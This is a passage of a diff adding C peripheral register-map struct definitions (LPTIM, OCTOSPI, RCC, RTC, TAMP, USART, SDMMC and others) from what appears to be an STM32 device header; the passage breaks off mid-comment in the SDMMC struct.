+/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< OCTOSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< OCTOSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< OCTOSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< OCTOSPI Device Configuration register 3, Address offset: 0x010 */ + __IO uint32_t DCR4; /*!< OCTOSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< OCTOSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< OCTOSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< OCTOSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< OCTOSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< OCTOSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< OCTOSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< OCTOSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< OCTOSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< OCTOSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< OCTOSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO uint32_t IR; /*!< OCTOSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 0x114-0x11C */ + __IO uint32_t ABR; /*!< OCTOSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< OCTOSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< OCTOSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< OCTOSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< OCTOSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< OCTOSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< OCTOSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< OCTOSPI Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< OCTOSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< OCTOSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< OCTOSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; +/** + * @brief OTFDEC register + */ +typedef struct +{ + __IO uint32_t REG_CONFIGR; /*!< OTFDEC Region Configuration register, Address offset: 0x20 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_START_ADDR; /*!< OTFDEC Region Start Address register, Address offset: 0x24 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_END_ADDR; /*!< OTFDEC Region End Address register, Address offset: 0x28 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_NONCER0; /*!< OTFDEC Region Nonce register 0, Address offset: 0x2C + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_NONCER1; /*!< OTFDEC Region Nonce register 1, Address offset: 0x30 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR0; /*!< OTFDEC Region Key register 0, Address offset: 0x34 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR1; /*!< OTFDEC Region Key register 1, Address offset: 0x38 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR2; /*!< OTFDEC Region Key register 2, Address offset: 0x3C + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR3; /*!< OTFDEC Region Key register 3, Address offset: 0x40 + 0x30 * (x -1) (x = 1 to 4) */ +} OTFDEC_Region_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< OTFDEC Control register, Address offset: 0x000 */ + uint32_t RESERVED1[3]; /*!< Reserved, Address offset: 0x004-0x00C */ + __IO uint32_t PRIVCFGR; /*!< OTFDEC Privileged access control Configuration register, Address offset: 0x010 */ + uint32_t RESERVED2[187]; /*!< Reserved, Address offset: 0x014-0x2FC */ + __IO uint32_t ISR; /*!< OTFDEC Interrupt Status register, Address offset: 0x300 */ + __IO uint32_t ICR; /*!< OTFDEC Interrupt Clear register, Address offset: 0x304 */ + __IO uint32_t IER; /*!< OTFDEC Interrupt Enable register, Address offset: 0x308 */ +} OTFDEC_TypeDef; + + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t PMCR; /*!< Power mode control register , Address offset: 0x00 */ + __IO uint32_t PMSR; /*!< Power mode status register , Address offset: 0x04 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x08-0x0C */ + __IO uint32_t VOSCR; /*!< Voltage scaling control register , Address offset: 0x10 */ + __IO uint32_t VOSSR; /*!< Voltage sacling status register , Address offset: 0x14 */ + uint32_t RESERVED2[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t BDCR; /*!< BacKup domain control register , Address offset: 0x20 */ + __IO uint32_t DBPCR; /*!< DBP control register, Address offset: 0x24 */ + __IO uint32_t BDSR; /*!< BacKup domain status register, Address offset: 0x28 */ + __IO uint32_t UCPDR; /*!< Usb typeC and Power Delivery Register, Address offset: 0x2C */ + __IO uint32_t SCCR; /*!< Supply configuration control register, Address offset: 0x30 */ + __IO uint32_t VMCR; /*!< Voltage Monitor Control Register, Address offset: 0x34 */ + __IO uint32_t USBSCR; /*!< USB Supply Control Register Address offset: 0x38 */ + __IO uint32_t VMSR; /*!< Status Register Voltage Monitoring, Address offset: 0x3C */ + __IO uint32_t WUSCR; /*!< WakeUP status clear register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< WakeUP status Register, Address offset: 0x44 */ + __IO uint32_t WUCR; /*!< WakeUP configuration register, Address offset: 0x48 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x4C */ + __IO uint32_t IORETR; /*!< IO RETention Register, Address offset: 0x50 */ + uint32_t RESERVED4[43];/*!< Reserved, Address offset: 0x54-0xFC */ + __IO uint32_t SECCFGR; /*!< Security configuration register, Address offset: 0x100 */ + __IO uint32_t PRIVCFGR; /*!< Privilege configuration register, Address offset: 0x104 */ +}PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved, Address offset: 0x04 */ + __IO uint32_t HSICFGR; /*!< RCC HSI Clock Calibration Register, Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register, Address offset: 0x14 */ + __IO uint32_t CSICFGR; /*!< RCC CSI Clock Calibration Register, Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< RCC PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< RCC PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< RCC PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< RCC PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< RCC PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< RCC PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< RCC PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< RCC PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< RCC PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< RCC Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< RCC Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< RCC Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< RCC AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR; /*!< RCC AHB2 Peripherals Reset Register Address offset: 0x64 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0x68 */ + __IO uint32_t AHB4RSTR; /*!< RCC AHB4 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1LRSTR; /*!< RCC APB1 Peripherals reset Low Word register Address offset: 0x74 */ + __IO uint32_t APB1HRSTR; /*!< RCC APB1 Peripherals reset High Word register Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< RCC APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< RCC APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED10; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< RCC AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR; /*!< RCC AHB2 Peripherals Clock Enable Register Address offset: 0x8C */ + uint32_t RESERVED11; /*!< Reserved Address offset: 0x90 */ + __IO uint32_t AHB4ENR; /*!< RCC AHB4 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED13; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1LENR; /*!< RCC APB1 Peripherals clock Enable Low Word register Address offset: 0x9C */ + __IO uint32_t APB1HENR; /*!< RCC APB1 Peripherals clock Enable High Word register Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< RCC APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< RCC APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED14; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1LPENR; /*!< RCC AHB1 Peripheral sleep clock Register Address offset: 0xB0 */ + __IO uint32_t AHB2LPENR; /*!< RCC AHB2 Peripheral sleep clock Register Address offset: 0xB4 */ + uint32_t RESERVED15; /*!< Reserved Address offset: 0xB8 */ + __IO uint32_t AHB4LPENR; /*!< RCC AHB4 Peripherals sleep clock Register Address offset: 0xBC */ + uint32_t RESERVED17; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1LLPENR; /*!< RCC APB1 Peripherals sleep clock Low Word Register Address offset: 0xC4 */ + __IO uint32_t APB1HLPENR; /*!< RCC APB1 Peripherals sleep clock High Word Register Address offset: 0xC8 */ + __IO uint32_t APB2LPENR; /*!< RCC APB2 Peripherals sleep clock Register Address offset: 0xCC */ + __IO uint32_t APB3LPENR; /*!< RCC APB3 Peripherals Clock Low Power Enable Register Address offset: 0xD0 */ + uint32_t RESERVED18; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t CCIPR1; /*!< RCC IPs Clocks Configuration Register 1 Address offset: 0xD8 */ + __IO uint32_t CCIPR2; /*!< RCC IPs Clocks Configuration Register 2 Address offset: 0xDC */ + __IO uint32_t CCIPR3; /*!< RCC IPs Clocks Configuration Register 3 Address offset: 0xE0 */ + __IO uint32_t CCIPR4; /*!< RCC IPs Clocks Configuration Register 4 Address offset: 0xE4 */ + __IO uint32_t CCIPR5; /*!< RCC IPs Clocks Configuration Register 5 Address offset: 0xE8 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< RCC VSW Backup Domain & V33 Domain Control Register Address offset: 0xF0 */ + __IO uint32_t RSR; /*!< RCC Reset status Register Address offset: 0xF4 */ + uint32_t RESERVED20[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC Secure mode configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC Privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/** + * @brief PKA + */ +typedef struct +{ + __IO uint32_t CR; /*!< PKA control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< PKA status register, Address offset: 0x04 */ + __IO uint32_t CLRFR; /*!< PKA clear flag register, Address offset: 0x08 */ + uint32_t Reserved[253]; /*!< Reserved memory area Address offset: 0x0C -> 0x03FC */ + __IO uint32_t RAM[1334]; /*!< PKA RAM Address offset: 0x400 -> 0x18D4 */ +} PKA_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + __IO uint32_t OR; /*!< RTC option register, Address offset: 0x60 */ + uint32_t RESERVED1[3];/*!< Reserved, Address offset: 0x64 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP control register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register, Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNT1R; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[3];/*!< Reserved, Address offset: 0x44 -- 0x4C */ + __IO uint32_t OR; /*!< TAMP option register, Address offset: 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42];/*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ +} USART_TypeDef; + +/** + * @brief Serial Audio Interface + */ +typedef struct +{ + __IO uint32_t GCR; /*!< SAI global configuration register, Address offset: 0x00 */ + uint32_t RESERVED[16]; /*!< Reserved, Address offset: 0x04 to 0x40 */ + __IO uint32_t PDMCR; /*!< SAI PDM control register, Address offset: 0x44 */ + __IO uint32_t PDMDLY; /*!< SAI PDM delay register, Address offset: 0x48 */ +} SAI_TypeDef; + +typedef struct +{ + __IO uint32_t CR1; /*!< SAI block x configuration register 1, Address offset: 0x04 */ + __IO uint32_t CR2; /*!< SAI block x configuration register 2, Address offset: 0x08 */ + __IO uint32_t FRCR; /*!< SAI block x frame configuration register, Address offset: 0x0C */ + __IO uint32_t SLOTR; /*!< SAI block x slot register, Address offset: 0x10 */ + __IO uint32_t IMR; /*!< SAI block x interrupt mask register, Address offset: 0x14 */ + __IO uint32_t SR; /*!< SAI block x status register, Address offset: 0x18 */ + __IO uint32_t CLRFR; /*!< SAI block x clear flag register, Address offset: 0x1C */ + __IO uint32_t DR; /*!< SAI block x data register, Address offset: 0x20 */ +} SAI_Block_TypeDef; +/** + * @brief System configuration, Boot and Security + */ +typedef struct +{ + uint32_t RESERVED1[4]; /*!< RESERVED1, Address offset: 0x00 - 0x0C */ + __IO uint32_t HDPLCR; /*!< SBS HDPL Control Register, Address offset: 0x10 */ + __IO uint32_t HDPLSR; /*!< SBS HDPL Status Register, Address offset: 0x14 */ + __IO uint32_t NEXTHDPLCR; /*!< NEXT HDPL Control Register, Address offset: 0x18 */ + __IO uint32_t RESERVED2; /*!< RESERVED2, Address offset: 0x1C */ + __IO uint32_t DBGCR; /*!< SBS Debug Control Register, Address offset: 0x20 */ + __IO uint32_t DBGLOCKR; /*!< SBS Debug Lock Register, Address offset: 0x24 */ + uint32_t RESERVED3[3]; /*!< RESERVED3, Address offset: 0x28 - 0x30 */ + __IO uint32_t RSSCMDR; /*!< SBS RSS Command Register, Address offset: 0x34 */ + uint32_t RESERVED4[26]; /*!< RESERVED4, Address offset: 0x38 - 0x9C */ + __IO uint32_t EPOCHSELCR; /*!< EPOCH Selection Register, Address offset: 0xA0 */ + uint32_t RESERVED5[7]; /*!< RESERVED5, Address offset: 0xA4 - 0xBC */ + __IO uint32_t SECCFGR; /*!< SBS Security Mode Configuration, Address offset: 0xC0 */ + uint32_t RESERVED6[15]; /*!< RESERVED6, Address offset: 0xC4 - 0xFC */ + __IO uint32_t PMCR; /*!< SBS Product Mode & Config Register, Address offset: 0x100 */ + __IO uint32_t FPUIMR; /*!< SBS FPU Interrupt Mask Register, Address offset: 0x104 */ + __IO uint32_t MESR; /*!< SBS Memory Erase Status Register, Address offset: 0x108 */ + uint32_t RESERVED7; /*!< RESERVED7, Address offset: 0x10C */ + __IO uint32_t CCCSR; /*!< SBS Compensation Cell Control & Status Register, Address offset: 0x110 */ + __IO uint32_t CCVALR; /*!< SBS Compensation Cell Value Register, Address offset: 0x114 */ + __IO uint32_t CCSWCR; /*!< SBS Compensation Cell for I/Os sw code Register, Address offset: 0x118 */ + __IO uint32_t RESERVED8; /*!< RESERVED8, Address offset: 0x11C */ + __IO uint32_t CFGR2; /*!< SBS Class B Register, Address offset: 0x120 */ + uint32_t RESERVED9[8]; /*!< RESERVED9, Address offset: 0x124 - 0x140 */ + __IO uint32_t CNSLCKR; /*!< SBS CPU Non-secure Lock Register, Address offset: 0x144 */ + __IO uint32_t CSLCKR; /*!< SBS CPU Secure Lock Register, Address offset: 0x148 */ + __IO uint32_t ECCNMIR; /*!< SBS FLITF ECC NMI MASK Register, Address offset: 0x14C */ +} SBS_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address 